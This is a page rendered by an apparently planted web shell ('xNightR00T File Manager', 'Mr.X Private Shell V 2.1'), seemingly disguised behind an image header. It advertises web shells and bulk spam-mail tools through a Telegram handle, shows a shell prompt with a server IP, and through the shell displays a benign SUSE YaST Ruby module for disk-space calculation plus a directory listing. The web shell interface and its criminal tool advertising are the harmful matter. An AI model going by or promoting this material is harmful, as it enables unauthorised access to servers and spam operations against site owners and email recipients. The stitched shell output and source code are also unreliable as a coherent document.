xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# Module:		SpaceCalculation.ycp
#
# Authors:		Klaus Kaempf (kkaempf@suse.de)
#			Gabriele Strattner (gs@suse.de)
#			Stefan Schubert (schubi@suse.de)
#
# Purpose:		Package installation functions usable
#			when the installation media is available
#			on Installation::sourcedir
#

require "yast"
require "shellwords"

module Yast
  class SpaceCalculationClass < Module
    include Yast::Logger

    # 16 MiB (in KiB)
    MIN_SPARE_KIB = 16 * 1024
    # 1 GiB (in KiB)
    MAX_SPARE_KIB = 1 * 1024 * 1024

    # 1 MiB in KiB
    MIB = 1024

    def main
      Yast.import "Pkg"

      textdomain "packager"

      Yast.import "Installation"
      Yast.import "Mode"
      Yast.import "ProductFeatures"
      Yast.import "Report"
      Yast.import "String"
      Yast.import "Stage"

      @info_called = false # list partition_info already initialized?
      @partition_info = [] # information about available partitions

      @failed_mounts = []
    end

    # Return partition info list
    # @return list of available partitions
    def GetPartitionList
      deep_copy(@partition_info)
    end

    def GetFailedMounts
      deep_copy(@failed_mounts)
    end

    # Get mountpoint for a directory
    # @param [String] target directory
    # @param [Array<Hash{String => String>}] partition partitions list
    # @return mountpoint
    def GetDirMountPoint(target, partition)
      partition = deep_copy(partition)
      d = Builtins.splitstring(target, "/")
      d = Builtins.filter(d) { |fd| fd != "" }
      mountpoint = ""

      Builtins.foreach(partition) do |part|
        #  dirinstall: /test/xen dir: /test
        #  dirinstall:/var/tmp/xen dir: /
        dir = Ops.get_string(part, "name", "")
        tmpdir = ""
        Builtins.foreach(d) do |dd|
          tmpdir = Builtins.sformat("%1/%2", tmpdir, dd)
          Builtins.y2debug("tmpdir: %1 dir: %2", tmpdir, dir)
          mountpoint = dir if dir == tmpdir
        end
      end

      mountpoint = "/" if mountpoint == ""

      mountpoint
    end

    # Evaluate the free space on the file system. Runs the command "df" and creates a map
    # containig information about used and free space on every partition.
    # Free space is calculated respecting the spare_percentage given in second argument.
    #
    # @param [Fixnum] spare_percentage percentage of spare disk space, i.e. free space is increased
    # @return [Array] partition list, e.g.  [$["free":389318, "name":"/", "used":1487222],
    #				     $["free":1974697, "name":"/usr", "used":4227733]]
    #
    # @example EvaluateFreeSpace ( 5 );
    #
    # ***  This is needed during update !
    def EvaluateFreeSpace(spare_percentage)
      target = Installation.destdir

      # get information about diskspace ( used/free space on every partition )
      partitions = SCR.Read(path(".run.df"))

      # filter out headline and other invalid entries
      partitions.select!{ |p| p["name"].start_with?("/") }

      log.info "df result: #{partitions}"

      # TODO FIXME dirinstall has been dropped, probably drop this block completely
      if Installation.dirinstall_installing_into_dir
        target = GetDirMountPoint(Installation.dirinstall_target, partitions)
        log.info "Installing into a directory, target directory: " \
          "#{Installation.dirinstall_target}, target mount point: #{target}"
      end

      du_partitions = []

      partitions.each do |part|
        part_info = {}
        mountName = part["name"] || ""

        # TODO FIXME dirinstall has been dropped, probably drop this block completely?
        if Installation.dirinstall_installing_into_dir
          mountName.prepend("/") unless mountName.start_with?("/")
          dir_target = Installation.dirinstall_target

          log.debug "mountName: #{mountName}, dir_target: #{dir_target}"

          if mountName.start_with?(dir_target)
            part_info["name"] = mountName
          elsif mountName == target
            part_info["name"] = "/"
          end
        elsif target != "/"
          if mountName.start_with?(target)
            partName = mountName[target.size..-1]
            # nothing left, it was target root itself
            part_info["name"] = partName.empty? ? "/" : partName
          end # target is "/"
        else
          if mountName == "/"
            part_info["name"] = mountName
          # ignore some mount points
          elsif mountName != Installation.sourcedir && mountName != "/cdrom" &&
              mountName != "/dev/shm" &&
              part["spec"] != "udev" &&
              !mountName.start_with?("/media/") &&
              !mountName.start_with?("/run/media/") &&
              !mountName.start_with?("/var/adm/mount/")
            part_info["name"] = mountName
          end
        end

        next if part_info.empty?

        filesystem = part["type"]
        part_info["filesystem"] = filesystem

        if filesystem == "btrfs"
          log.info "Detected btrfs at #{mountName}"
          btrfs_used_kib = btrfs_used_size(mountName) / 1024
          log.info "Difference to 'df': #{(part["used"].to_i - btrfs_used_kib) / 1024}MiB"
          part_info["used"] = btrfs_used_kib
          part_info["growonly"] = btrfs_snapshots?(mountName)
          total_kb = part["whole"].to_i
          free_size_kib = total_kb - btrfs_used_kib
        else
          part_info["used"] = part["used"].to_i
          free_size_kib = part["free"].to_i
          part_info["growonly"] = false
        end

        spare_size_kb = free_size_kib * spare_percentage / 100

        if spare_size_kb < MIN_SPARE_KIB
          spare_size_kb = MIN_SPARE_KIB
        elsif spare_size_kb > MAX_SPARE_KIB
          spare_size_kb = MAX_SPARE_KIB
        end

        free_size_kib -= spare_size_kb
        # don't use a negative size
        free_size_kib = 0 if free_size_kib < 0

        part_info["free"] = free_size_kib

        du_partitions << part_info
      end

      log.info "UTILS *** EvaluateFreeSpace returns: #{du_partitions}"
      Pkg.TargetInitDU(du_partitions)

      du_partitions
    end

    # return default ext3/4 journal size (in B) for target partition size
    def DefaultExtJournalSize(part)
      part = deep_copy(part)
      if Ops.get_symbol(part, "used_fs", :unknown) == :ext2
        Builtins.y2milestone("No journal on ext2")
        return 0
      end

      ret = 0

      part_size = Ops.multiply(1024, Ops.get_integer(part, "size_k", 0))
      # default block size is 4k
      bs = Builtins.tointeger(
        Ops.get_string(
          part,
          ["fs_options", "opt_blocksize", "option_value"],
          "4096"
        )
      )
      blocks = Ops.divide(part_size, bs)

      Builtins.y2milestone(
        "Partition %1: %2 blocks (block size: %3)",
        Ops.get_string(part, "name", ""),
        blocks,
        bs
      )

      # values extracted from ext2fs_default_journal_size() function in e2fsprogs sources
      if Ops.less_than(blocks, 2048)
        ret = 0
      elsif Ops.less_than(blocks, 32768)
        ret = 1024
      elsif Ops.less_than(blocks, 256 * 1024)
        ret = 4096
      elsif Ops.less_than(blocks, 512 * 1024)
        ret = 8192
      elsif Ops.less_than(blocks, 1024 * 1024)
        ret = 16384
      else
        # maximum journal size
        ret = 32768
      end

      # converts blocks to bytes
      ret = Ops.multiply(ret, bs)

      Builtins.y2milestone("Default journal size: %1kB", Ops.divide(ret, 1024))


      ret
    end

    def ExtJournalSize(part)
      part = deep_copy(part)
      if Ops.get_symbol(part, "used_fs", :unknown) == :ext2
        Builtins.y2milestone("No journal on ext2")
        return 0
      end

      ret = 0
      # no journal
      if Builtins.haskey(Ops.get_map(part, "fs_options", {}), "no_journal")
        Builtins.y2milestone(
          "Partition %1 has disabled journal",
          Ops.get_string(part, "name", "")
        )
      else
        Builtins.y2milestone(
          "Using default journal size for %1",
          Ops.get_string(part, "name", "")
        )
        ret = DefaultExtJournalSize(part)
      end
      # Note: custom journal size cannot be entered in the partitioner

      Builtins.y2milestone(
        "Journal size for %1: %2kB",
        Ops.get_string(part, "name", ""),
        Ops.divide(ret, 1024)
      )

      ret
    end

    def XfsJournalSize(part)
      part = deep_copy(part)
      part_size = Ops.multiply(1024, Ops.get_integer(part, "size_k", 0))
      mb = 1 << 20
      gb = 1 << 30

      # the default log size to fs size ratio is 1:2048
      # (the value is then adjusted according to many other fs parameters,
      # we take just the simple approach here, it should be sufficient)
      ret = Ops.divide(part_size, 2048)

      # check min and max limits
      min_log_size = Ops.multiply(10, mb)
      max_log_size = Ops.multiply(2, gb)

      if Ops.less_than(ret, min_log_size)
        ret = min_log_size
      elsif Ops.greater_than(ret, max_log_size)
        ret = max_log_size
      end

      Builtins.y2milestone(
        "Estimated journal size for XFS partition %1kB: %2kB",
        Ops.divide(part_size, 1024),
        Ops.divide(ret, 1024)
      )

      ret
    end

    def ReiserJournalSize(part)
      part = deep_copy(part)
      # the default is 8193 of 4k blocks (max = 32749, min = 513 blocks)
      ret = 8193 * 4096

      Builtins.y2milestone(
        "Default Reiser journal size: %1kB",
        Ops.divide(ret, 1024)
      )

      ret
    end

    def DefaultJfsJournalSize(part_size)
      # the default is 0.4% rounded to megabytes, 128MB max.
      ret = Ops.shift_right(part_size, 8) # 0.4% ~= 1/256
      max = 128 * (1 << 20) # 128 MB

      ret = Ops.shift_left(
        Ops.shift_right(Ops.subtract(Ops.add(ret, 1 << 20), 1), 20),
        20
      )

      ret = max if Ops.greater_than(ret, max)

      Builtins.y2milestone(
        "Default JFS journal size: %1MB",
        Ops.shift_right(ret, 20)
      )

      ret
    end

    def JfsJournalSize(part)
      part = deep_copy(part)
      # log size (in MB)
      log_size = Builtins.tointeger(
        Ops.get_string(
          part,
          ["fs_options", "opt_log_size", "option_value"],
          "0"
        )
      )

      if Ops.greater_than(log_size, 0)
        # convert to bytes
        log_size = Ops.multiply(log_size, 1 << 20)
      else
        log_size = DefaultJfsJournalSize(
          Ops.multiply(1024, Ops.get_integer(part, "size_k", 0))
        )
      end

      Builtins.y2milestone(
        "Jfs journal size: %1MB",
        Ops.shift_right(log_size, 20)
      )

      log_size
    end

    def EstimateTargetUsage(parts)
      parts = deep_copy(parts)
      log.info "EstimateTargetUsage(#{parts})"

      # invalid or empty input
      if parts == nil || parts.empty?
        log.error "Invalid input: #{parts.inspect}"
        return []
      end

      # the numbers are from openSUSE-11.4 default KDE installation
      used_mapping = {
        "/var/lib/rpm"    => 42 * MIB, # RPM database
        "/var/log"        => 14 * MIB, # system logs (YaST logs have ~12MB)
        "/var/adm/backup" => 10 * MIB, # backups
        "/var/cache/zypp" => 38 * MIB, # zypp metadata cache after refresh (with OSS + update repos)
        "/etc"            =>  2 * MIB, # various /etc config files not belonging to any package
        "/usr/share"      =>  1 * MIB, # some files created by postinstall scripts
        "/boot/initrd"    => 11 * MIB  # depends on HW but better than nothing
      }

      Builtins.y2milestone("Adding target size mapping: %1", used_mapping)

      mount_points = []

      # convert list to map indexed by mount point
      mounts = Builtins.listmap(parts) do |part|
        mount_points = Builtins.add(
          mount_points,
          Ops.get_string(part, "name", "")
        )
        { Ops.get_string(part, "name", "") => part }
      end


      Builtins.foreach(used_mapping) do |dir, used|
        mounted = String.FindMountPoint(dir, mount_points)
        Builtins.y2milestone("Dir %1 is mounted on %2", dir, mounted)
        part = Ops.get(mounts, mounted, {})
        if part != {}
          curr_used = Ops.get_integer(part, "used", 0)
          Builtins.y2milestone(
            "Adding %1kB to %2kB currently used",
            used,
            curr_used
          )
          curr_used = Ops.add(curr_used, used)

          Ops.set(part, "used", curr_used)
          Ops.set(
            part,
            "free",
            Ops.subtract(Ops.get_integer(part, "free", 0), used)
          )

          Ops.set(mounts, mounted, part)
        else
          Builtins.y2warning(
            "Cannot find partition for mount point %1, ignoring it",
            mounted
          )
        end
      end


      # convert back to list
      ret = Builtins.maplist(mounts) { |dir, part| part }

      Builtins.y2milestone("EstimateTargetUsage() result: %1", ret)

      deep_copy(ret)
    end

    # is the filesystem one of Ext2/3/4?
    def ExtFs(fs)
      fs == :ext2 || fs == :ext3 || fs == :ext4
    end

    # return estimated fs overhead
    # (the difference between partition size and reported fs blocks)
    def EstimateFsOverhead(part)
      part = deep_copy(part)
      fs_size = Ops.multiply(1024, Ops.get_integer(part, "size_k", 0))
      fs = Ops.get_symbol(part, "used_fs", :unknown)

      ret = 0

      if ExtFs(fs)
        # ext2/3/4 overhead is about 1.6% according to my test (8GB partition)
        ret = Ops.divide(Ops.multiply(fs_size, 16), 1000)
        Builtins.y2milestone("Estimated Ext2/3/4 overhead: %1kB", ret)
      elsif fs == :xfs
        # xfs overhead is about 0.1%
        ret = Ops.divide(fs_size, 1000)
        Builtins.y2milestone("Estimated XFS overhead: %1kB", ret)
      elsif fs == :jfs
        # jfs overhead is about 0.3%
        ret = Ops.divide(Ops.multiply(fs_size, 3), 1000)
        Builtins.y2milestone("Estimated JFS overhead: %1kB", ret)
      end
      # reiser and btrfs have negligible overhead, just ignore it

      ret
    end

    # return reserved space for root user (in bytes)
    def ReservedSpace(part)
      part = deep_copy(part)
      # read the percentage
      option = Ops.get_string(
        part,
        ["fs_options", "opt_reserved_blocks", "option_value"],
        ""
      )
      ret = 0

      if option != nil && option != ""
        percent = Builtins.tofloat(option)

        if Ops.greater_than(percent, 0.0)
          # convert to absolute value
          fs_size = Ops.get_integer(part, "size_k", 0)
          ret = Builtins.tointeger(
            Ops.multiply(
              Convert.convert(
                Ops.divide(fs_size, 100),
                :from => "integer",
                :to   => "float"
              ),
              percent
            )
          )
        end
      end

      if Ops.greater_than(ret, 0)
        Builtins.y2milestone(
          "Partition %1: reserved space: %2%% (%3kB)",
          Ops.get_string(part, "name", ""),
          option,
          ret
        )
      end

      Ops.multiply(ret, 1024)
    end

    # Define a macro that transforms information about all partitions ( from
    # Storage::GetTargetMap() ) into a list(map) with information about partitions
    # which are available for installation, e.g.:
    #
    # [$["free":1625676, "name":"/boot", "used":0], $["free":2210406, "name":"/", "used":0]]
    #
    # Please note: there isn't any information about used space, so "used" at begin
    #              of installation is initialized with zero;
    #              size "free", "used" in KBytes
    #

    def get_partition_info
      # remove leading slash so it matches the packages.DU path
      remove_slash = true

      if !Stage.initial
        # read /proc/mounts as a list of maps
        # $["file":"/boot", "freq":0, "mntops":"rw", "passno":0, "spec":"/dev/sda1", "vfstype":"ext2"]
        mounts = SCR.Read(path(".proc.mounts"))
        log.info "mounts #{mounts}"

        partitions = []
        mounts.each do |mpoint|
          name = mpoint["file"]
          filesystem = mpoint["vfstype"]

          if name.start_with?("/") &&
              # filter out /dev/pts etc.
              !name.start_with?("/dev/") &&
              # filter out duplicate "/" entry
              filesystem != "rootfs"

            capacity = Pkg.TargetCapacity(name)

            if capacity != 0 # dont look at pseudo-devices (proc, shmfs, ...)
              used = Pkg.TargetUsed(name)
              growonly = false

              if filesystem == "btrfs"
                log.info "Btrfs file system detected at #{name}"
                growonly = btrfs_snapshots?(name)
                log.info "Snapshots detected: #{growonly}"
                new_used = btrfs_used_size(name) / 1024
                log.info "Updated the used size by 'btrfs' utility from #{used} to #{new_used} (diff: #{new_used - used})"
                used = new_used
              end

              partitions << {
                "name" => name,
                "free" => capacity - used,
                "used" => used,
                "filesystem" => filesystem,
                "growonly" => growonly
              }
            end
          end
        end
        Pkg.TargetInitDU(partitions)
        Builtins.y2milestone("get_partition_info: %1", partitions)
        return partitions
      end # !Stage::initial ()

      # remove the previous failures
      @failed_mounts = []

      # installation stage - Storage:: is definitely present
      # call Storage::GetTargetMap()
      targets = Convert.convert(
        WFM.call("wrapper_storage", ["GetTargetMap"]),
        :from => "any",
        :to   => "map <string, map>"
      )

      log.error "Target map is nil, Storage:: is probably missing" unless targets

      if Mode.test
        targets = Convert.convert(
          SCR.Read(path(".target.yast2"), "test_target_map.ycp"),
          :from => "any",
          :to   => "map <string, map>"
        )
      end

      target_partitions = []
      min_spare = 20 * 1024 * 1024 # minimum free space ( 20 MB )

      Builtins.foreach(targets) do |disk, diskinfo|
        part_info = Ops.get_list(diskinfo, "partitions", [])
        Builtins.foreach(part_info) do |part|
          log.info "Adding partition: #{part}"
          used_fs = part["used_fs"]
          # ignore VFAT and NTFS partitions (bnc#)
          if used_fs == :vfat || used_fs == :ntfs
            log.warn "Ignoring partition with #{used_fs} filesystem"
          else
            free_size = 0
            growonly = false

            if Ops.get(part, "mount") != nil &&
                part["mount"].start_with?("/")
              if Ops.get(part, "create") == true ||
                  Ops.get(part, "delete") == false ||
                  Ops.get(part, "create") == nil &&
                    Ops.get(part, "delete") == nil
                log.debug "get_partition_info: adding partition: #{part}"

                # get free_size on partition in kBytes
                free_size = part["size_k"] * 1024
                free_size -= min_spare

                # free_size smaller than min_spare, fix negative value
                if free_size <  0
                  log.info "Fixing free size: #{free_size} to 0"
                  free_size = 0
                end

                used = 0
                # If reusing a previously existent filesystem
                if !(part["create"] || part["format"])

                  # Mount the filesystem to check the available space.
                  # FIXME: libstorage provides functions to query free
                  # information for devices (even caching the information).
                  # This part should be refactored to rely on libstorage.

                  tmpdir = SCR.Read(path(".target.tmpdir")) + "/diskspace_mount"
                  SCR.Execute(path(".target.bash"), "mkdir -p #{Shellwords.escape(tmpdir)}")

                  # mount options determined by partitioner
                  mount_options = (part["fstopt"] || "").split(",")

                  # mount in read-only mode (safer)
                  mount_options << "ro"

                  # add "nolock" if it's a NFS share (bnc#433893)
                  if used_fs == :nfs
                    log.info "Mounting NFS with 'nolock' option"
                    mount_options << "nolock"
                  end

                  # join the options
                  mount_options_str = mount_options.uniq.join(",")

                  # Use DM device if it's encrypted, plain device otherwise
                  # (bnc#889334)
                  device = part["crypt_device"] || part["device"] || ""

                  mount_command = "mount -o #{mount_options_str} " \
                    "#{Shellwords.escape(device)} #{Shellwords.escape(tmpdir)}"

                  log.info "Executing mount command: #{mount_command}"

                  result = SCR.Execute(path(".target.bash"), mount_command)
                  log.info "Mount result: #{result}"

                  if result == 0
                    # specific handler for btrfs
                    if used_fs == :btrfs
                      used = btrfs_used_size(tmpdir)
                      free_size -= used
                      growonly = btrfs_snapshots?(tmpdir)
                    else
                      partition = SCR.Read(path(".run.df"))

                      Builtins.foreach(partition) do |p|
                        if p["name"] == tmpdir
                          log.info "Partition: #{p}"
                          free_size = p["free"].to_i * 1024
                          used = p["used"].to_i * 1024
                        end
                      end
                    end

                    SCR.Execute(path(".target.bash"), "umount #{Shellwords.escape(tmpdir)}")
                  else
                    log.error "Mount failed, ignoring partition #{device}"
                    @failed_mounts = Builtins.add(@failed_mounts, part)

                    next
                  end
                else
                  # for formatted partitions estimate free system size
                  # compute fs overhead
                  used = EstimateFsOverhead(part)
                  log.info "#{device}: assuming fs overhead: #{used / 1024}KiB"

                  # get the journal size
                  case used_fs
                  when :ext2, :ext3, :ext4
                    js = ExtJournalSize(part)
                    reserved = ReservedSpace(part)
                    used += reserved if reserved > 0
                  when :xfs
                    js = XfsJournalSize(part)
                  when :reiser
                    js = ReiserJournalSize(part)
                  when :jfs
                    js = JfsJournalSize(part)
                  when :btrfs
                    # Btrfs uses temporary trees instead of a fixed journal,
                    # there is no journal, it's a logging FS
                    # http://en.wikipedia.org/wiki/Btrfs#Log_tree
                    js = 0
                  else
                    log.warn "Unknown journal size for filesystem: #{used_fs}"
                  end

                  if js && js > 0
                    log.info "Partition #{part["device"]}: assuming journal size: #{js / 1024}KiB"
                    used += js
                  end

                  # decrease free size
                  free_size -= used

                  # check for underflow
                  if free_size < 0
                    log.info "Fixing free size: #{free_size} to 0"
                    free_size = 0
                  end
                end

                # convert into KiB for TargetInitDU
                free_size_kib = free_size / 1024
                used_kib = used / 1024
                mount_name = part["mount"]
                log.info "partition: mount: #{mount_name}, free: #{free_size_kib}KiB, used: #{used_kib}KiB"

                mount_name = mount_name[1..-1] if remove_slash && mount_name != "/"

                target_partitions << {
                  "filesystem" => used_fs.to_s,
                  "growonly" => growonly,
                  "name" => mount_name,
                  "used" => used_kib,
                  "free" => free_size_kib
                }
              end
            end
          end
        end # foreach (`part)
      end # foreach (`disk)

      # add estimated size occupied by non-package files
      target_partitions = EstimateTargetUsage(target_partitions)

      Builtins.y2milestone("get_partition_info: part %1", target_partitions)
      Pkg.TargetInitDU(target_partitions)

      deep_copy(target_partitions)
    end

    # Get information about available partitions either from "targetMap"
    # in case of a new installation or from 'df' command (continue mode
    # and installation on installed system).
    # Returns a list containing available partitions and stores the list
    # in "partition_info".
    #
    # @return list partition list, e.g.  [$["free":389318, "name":"/", "used":1487222],
    #				     $["free":1974697, "name":"usr", "used":4227733]]
    #
    #
    # @example GetPartitionInfo();
    #
    # Will be called from Packages when re-doing proposal !!
    def GetPartitionInfo
      partition = []

      if Stage.cont
        partition = EvaluateFreeSpace(0) # free spare already checked during first part of installation
      elsif Mode.update
        partition = EvaluateFreeSpace(15) # 15% free spare for update/upgrade
      elsif Mode.normal
        partition = EvaluateFreeSpace(5) # 5% free spare for post installation # Stage::initial ()
      else
        partition = get_partition_info
      end
      Builtins.y2milestone(
        "INIT done, SpaceCalculation - partitions: %1",
        partition
      )

      @info_called = true
      @partition_info = deep_copy(partition) # store partition_info

      deep_copy(partition)
    end



    # get current space data for partitions
    # current_partitions = list of maps of
    # $["format":bool, "free":integer, "name" : string, "used" :integer, "used_fs": symbol]
    # from Storage module
    # returns list of maps of
    # $["name" : string, "free" : integer, "used" : integer ]
    #
    def CheckCurrentSpace(current_partitions)
      current_partitions = deep_copy(current_partitions)
      output = []

      Builtins.foreach(current_partitions) do |par|
        outdata = {}
        Ops.set(outdata, "name", Ops.get_string(par, "name", ""))
        Ops.set(
          outdata,
          "used",
          Pkg.TargetUsed(
            Ops.add(Installation.destdir, Ops.get_string(par, "name", ""))
          )
        )
        Ops.set(
          outdata,
          "free",
          Ops.subtract(
            Pkg.TargetCapacity(
              Ops.add(Installation.destdir, Ops.get_string(par, "name", ""))
            ),
            Ops.get_integer(outdata, "used", 0)
          )
        )
        output = Builtins.add(output, Builtins.eval(outdata))
      end
      Builtins.y2milestone(
        "CheckCurrentSpace(%1) = %2",
        current_partitions,
        output
      )

      deep_copy(output)
    end

    def GetPartitionWarning
      GetPartitionInfo() if !@info_called
      used = 0
      message = []

      #$[ "dir" : [ total, usednow, usedfuture ], .... ]

      Builtins.foreach(Pkg.TargetGetDU) do |dir, sizelist|
        Builtins.y2milestone(
          "dir %1, sizelist (total, current, future) %2",
          dir,
          sizelist
        )
        needed = Ops.subtract(
          Ops.get_integer(sizelist, 2, 0),
          Ops.get_integer(sizelist, 0, 0)
        ) # usedfuture - total
        if Ops.greater_than(needed, 0)
          # Warning message, e.g.: Partition /usr needs 35 MB more disk space
          message = Builtins.add(
            message,
            Builtins.sformat(
              _("Partition \"%1\" needs %2 more disk space."),
              # needed is in kB
              dir,
              String.FormatSize(Ops.multiply(needed, 1024))
            )
          )
        end
        used = Ops.add(used, Ops.get_integer(sizelist, 2, 0))
      end

      Builtins.y2debug("Total used space (kB): %1", used)

      if Ops.greater_than(Builtins.size(message), 0)
        # dont ask user to deselect packages for imap server, product
        if ProductFeatures.GetFeature("software", "selection_type") == :auto
          if Mode.update
            message = Builtins.add(
              message,
              "\n" +
                # popup message
                _(
                  "Deselect packages or delete data or temporary files\nbefore updating the system.\n"
                )
            )
          else
            message = Builtins.add(
              message,
              "\n" +
                # popup message
                _("Deselect some packages.")
            )
          end
        end
      end
      deep_copy(message)
    end

    #
    # Popup displays warning about exhausted disk space
    #
    def ShowPartitionWarning
      message = GetPartitionWarning()
      if Ops.greater_than(Builtins.size(message), 0)
        Builtins.y2warning("Warning: %1", message)
        Report.Message(Builtins.mergestring(message, "\n"))
        return true
      else
        return false
      end
    end


    #
    # Calculate required disk space
    #
    def GetRequSpace(initialize)
      GetPartitionInfo() if !@info_called

      # used space in kB
      used = 0

      #$[ "dir" : [ total, usednow, usedfuture ], .... ]
      Builtins.foreach(Pkg.TargetGetDU) do |dir, sizelist|
        used = Ops.add(used, Ops.get_integer(sizelist, 2, 0))
      end
      Builtins.y2milestone("GetReqSpace Pkg::TargetGetDU() %1", Pkg.TargetGetDU)
      # used is in kB
      String.FormatSize(Ops.multiply(used, 1024))
    end


    #
    # Check, if the current selection fits on the disk
    # return true or false
    #
    def CheckDiskSize
      fit = true

      GetPartitionInfo() if !@info_called

      used = 0

      #$[ "dir" : [ total, usednow, usedfuture ], .... ]
      Builtins.foreach(Pkg.TargetGetDU) do |dir, sizelist|
        Builtins.y2milestone("%1: %2", dir, sizelist)
        needed = Ops.subtract(
          Ops.get_integer(sizelist, 2, 0),
          Ops.get_integer(sizelist, 0, 0)
        ) # usedfuture - total
        if Ops.greater_than(needed, 0)
          Builtins.y2warning(
            "Partition \"%1\" needs %2 more disk space.",
            # size is in kB
            dir,
            String.FormatSize(Ops.multiply(needed, 1024))
          )
          fit = false
        end
        used = Ops.add(used, Ops.get_integer(sizelist, 2, 0))
      end

      Builtins.y2milestone("Total used space (kB): %1, fits ?: %2", used, fit)

      fit
    end

    # Check, if there is enough free space after installing the current selection
    # @param [Fixnum] free_percent minimal free space after installation (in percent)
    # @return [Array] of partitions which have less than free_percent free size
    def CheckDiskFreeSpace(free_percent, max_unsufficient_free_size)
      GetPartitionInfo() if !@info_called

      Builtins.y2milestone(
        "min. free space: %1%%, max. unsufficient free space: %2",
        free_percent,
        max_unsufficient_free_size
      )

      ret = []

      if Ops.greater_than(free_percent, 0)
        #$[ "dir" : [ total, usednow, usedfuture ], .... ]
        Builtins.foreach(Pkg.TargetGetDU) do |dir, sizelist|
          Builtins.y2milestone("Disk usage of directory %1: %2", dir, sizelist)
          total = Ops.get_integer(sizelist, 0, 0)
          used_future = Ops.get_integer(sizelist, 2, 0)
          used_now = Ops.get_integer(sizelist, 1, 0)
          current_free_size = Ops.subtract(total, used_future)
          current_free_percent = Ops.divide(
            Ops.multiply(current_free_size, 100),
            total
          )
          # ignore the partitions which were already full and no files will be installed there (bnc#259493)
          if Ops.greater_than(used_future, used_now) &&
              Ops.greater_than(current_free_size, 0)
            if Ops.less_than(current_free_percent, free_percent) &&
                Ops.less_than(current_free_size, max_unsufficient_free_size)
              Builtins.y2warning(
                "Partition %1: less than %2%% free space (%3%%, %4)",
                dir,
                free_percent,
                current_free_percent,
                current_free_size
              )

              ret = Builtins.add(
                ret,
                {
                  "dir"          => dir,
                  "free_percent" => current_free_percent,
                  "free_size"    => current_free_size
                }
              )
            end
          end
        end
      end

      Builtins.y2milestone("Result: %1", ret)

      deep_copy(ret)
    end

    publish :function => :GetPartitionList, :type => "list ()"
    publish :function => :GetFailedMounts, :type => "list <map> ()"
    publish :function => :EvaluateFreeSpace, :type => "list <map <string, any>> (integer)"
    publish :function => :GetPartitionInfo, :type => "list ()"
    publish :function => :CheckCurrentSpace, :type => "list (list <map>)"
    publish :function => :GetPartitionWarning, :type => "list <string> ()"
    publish :function => :ShowPartitionWarning, :type => "boolean ()"
    publish :function => :GetRequSpace, :type => "string (boolean)"
    publish :function => :CheckDiskSize, :type => "boolean ()"
    publish :function => :CheckDiskFreeSpace, :type => "list <map> (integer, integer)"

    # check whether the Btrfs filesystem at the specified directory contains
    # any snapshot (in any subvolume)
    # @param [String] directory mounted directory with Btrfs
    # @return [Boolean] true when a snapshot is found
    def btrfs_snapshots?(directory)
      # list available snapshot subvolumes
      ret = SCR.Execute(path(".target.bash_output"), "btrfs subvolume list -s #{Shellwords.escape(directory)}")

      if ret["exit"] != 0
        log.error "btrfs call failed: #{ret}"
        raise "Cannot detect Btrfs snapshots, subvolume listing failed : #{ret["stderr"]}"
      end

      snapshots = ret["stdout"].split("\n")
      log.info "Found #{snapshots.size} btrfs snapshots"
      log.debug "Snapshots: #{snapshots}"

      !snapshots.empty?
    end

    # @param [String] directory mounted directory with Btrfs
    # @return [Integer] used size in bytes
    def btrfs_used_size(directory)
      ret = SCR.Execute(path(".target.bash_output"),
        "LC_ALL=C btrfs filesystem df #{Shellwords.escape(directory)}")

      if ret["exit"] != 0
        log.error "btrfs call failed: #{ret}"
        raise "Cannot detect Btrfs disk usage: #{ret["stderr"]}"
      end

      df_info = ret["stdout"].split("\n")
      log.info "Usage reported by btrfs: #{df_info}"

      # sum the "used" sizes
      used = df_info.reduce(0) do |acc, line |
        size = line[/used=(\S+)/, 1]
        size = size ? size_from_string(size) : 0
        acc += size
      end

      log.info "Detected total used size: #{used} (#{used / 1024 / 1024}MiB)"
      used
    end

    # Convert textual size with optional unit suffix into a number
    # @example
    #   size_from_string("2.45MiB") => 2569011
    # @param size_str [String] input value in format "<number>[<space>][<unit>]"
    # where unit can be one of: "" (none) or "B", "KiB", "MiB", "GiB", "TiB", "PiB"
    # @return [Integer] size in bytes
    def size_from_string(size_str)
      WFM.call("wrapper_storage", ["ClassicStringToByte", [size_str]])
    end
  end

  SpaceCalculation = SpaceCalculationClass.new
  SpaceCalculation.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
